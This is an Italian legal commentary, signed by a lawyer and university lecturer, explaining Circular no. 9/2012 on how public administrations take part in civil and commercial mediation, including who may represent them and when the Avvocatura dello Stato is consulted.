La pubblica amministrazione ha deciso di sedersi al tavolo della mediazione.
Per farlo, la Presidenza del Consiglio dei Ministri, Dipartimento della Funzione Pubblica, ha emanato la circolare n. 9/2012, recante “Linee guida in materia di mediazione nelle controversie civili e commerciali”, a firma del Ministro per la pubblica amministrazione e la semplificazione.
L’esigenza di una circolare esplicativa è nata dalla peculiarità che assume la partecipazione di una P.A. ad una sessione di mediazione.
Come riportato nella premesse della circolare, infatti, per l’analisi di tali peculiarità è stato costituto un tavolo tecnico istituito presso la Presidenza del Consiglio dei ministri – Dipartimento per gli affari giuridici e legislativi, a cui hanno partecipato rappresentanti del predetto Dipartimento, del Dipartimento e dell’Ufficio legislativo del Ministro per la pubblica amministrazione e la semplificazione, del Ministero dell’economia e delle finanze, del Ministero della giustizia e dell’Avvocatura dello Stato che, in particolare, si è espressa sulla materia con circolare interna n. 41/2012.
Ancora, come affermato nella stessa circolare, non rinvenendosi nelle fonti normative in materia di mediazione disposizioni che escludono le pubbliche amministrazioni dall’ambito di applicazione della stessa normativa, questa trova applicazione, anche in riferimento al settore pubblico.
Ciò rende necessario, secondo il Ministero, fornire linee guida per assicurare l’omogenea attuazione della normativa di riferimento da parte delle pubbliche amministrazioni. I soggetti cui si applica la circolare sono quelli indicati nell’art. 1, c. 2, del decreto legislativo 30 marzo 2001, n. 165, ossia tutte le amministrazioni dello Stato, ivi compresi gli istituti e scuole di ogni ordine e grado e le istituzioni educative, le aziende ed amministrazioni dello Stato ad ordinamento autonomo, le Regioni, le Province, i Comuni, le Comunità montane e loro consorzi e associazioni, le istituzioni universitarie, gli Istituti autonomi case popolari, le Camere di commercio, industria, artigianato e agricoltura e loro associazioni, tutti gli enti pubblici non economici nazionali, regionali e locali, le amministrazioni, le aziende e gli enti del Servizio sanitario nazionale.
Rientrano, poi, secondo la circolare, nel novero delle controversie disciplinate dal d.lgs. 28/2010 esclusivamente quelle che implichino la responsabilità della pubblica amministrazione per atti di natura non autoritativa, con esclusione di quelle in materia fiscale, doganale e amministrativa o che abbiano ad oggetto la responsabilità dello Stato per atti o omissioni nell’esercizio di pubblici poteri.
Nodo cruciale della circolare, poi, è l’indicazione dei soggetti legittimati a partecipare al procedimento di mediazione in rappresentanza della pubblica amministrazione. La circolare, in ragione della riconducibilità della materia a quella della tutela legale non contenziosa, ha escluso:
- l’Avvocatura dello Stato che in materia conserva una mera funzione consultiva come assistenza tecnica complementare alla rappresentanza processuale e difesa in giudizio delle amministrazioni patrocinate;
- gli avvocati del libero foro.
Possono, invece, partecipare alle sessioni di mediazione un dirigente o un funzionario responsabile, sulla base di apposita delega conferita dall’ente che siano dotati di comprovata e particolare competenza ed esperienza nella materia del contenzioso e in quella a cui afferisce la controversia.
A questo riguardo, sarà opportuno verificare cosa preveda il regolamento dell’ODM investito del procedimento, in tema di assistenza della parte nella sessione di mediazione.
È il caso ad esempio di alcuni ODM che richiedono obbligatoriamente, e in ogni caso, che la parte sia presente nel procedimento mediante il ministero di un difensore.
In tali casi il mediatore dovrà verificare la legittimità del rappresentante della pubblica amministrazione in ordine al rispetto del requisito della rappresentanza della parte, sia riferito alla circolare, sia al regolamento dell’ODM, sia alla normativa in tema di rappresentanza processuale delle parti.
L’amministrazione, poi, in base alla circolare, deve procedere alla valutazione in concreto sulla convenienza a partecipare al procedimento di mediazione, provvedendo, ove non intenda intervenire, a formalizzare con specifico atto la scelta operata sulla base della propria discrezionalità e, ove ritenuto opportuno, comunicando tale scelta all’organismo di mediazione.
Viene precisata l’opportunità, poi, stante le conseguenze della mancata partecipazione ex art. 13 D.Lgs. 28/10, che l’amministrazione formuli motivata richiesta di parere all’Avvocatura dello Stato, esponendo le proprie valutazioni sulla controversia, nei casi in cui il tentativo di transazione riguardi controversie di particolare rilievo, dal punto di vista della materia che ne costituisce l’oggetto o degli effetti in termini finanziari che ne potrebbero conseguire anche in riferimento al numero di controversie ulteriori che potrebbero derivarne, analogamente a quanto previsto dall”articolo 417-bis, comma 2, del codice di procedura civile.
Al di fuori dei predetti casi, l’amministrazione richiede il parere all’Avvocatura dello Stato con esclusivo riferimento all’ipotesi in cui il dirigente dell’Ufficio dirigenziale generale competente sulla materia oggetto della controversia ovvero il dirigente o funzionario delegato abbia proceduto ad una motivata valutazione della controversia in senso favorevole alla conclusione dell’accordo.
Ove la richiesta di parere riguardi la proposta di conciliazione, considerata l’esiguità del termine di sette giorni entro cui accettare o rifiutare la stessa, l’amministrazione avanza quanto prima la richiesta all’Avvocatura dello Stato nei casi e con le modalità innanzi indicati.
L’amministrazione, nella persona del dirigente o funzionario responsabile, sulla base della delega conferita, come di seguito indicato, valuta se accogliere o rigettare la proposta di conciliazione, anche tenuto conto del parere dell’Avvocatura dello Stato ove richiesto e pervenuto assicurando comunque il rispetto dei termini della procedura.
Giampaolo Di Marco
Avvocato, Professore a contratto di Diritto Civile presso l’Università degli Studi di Bologna
Sede di Ravenna
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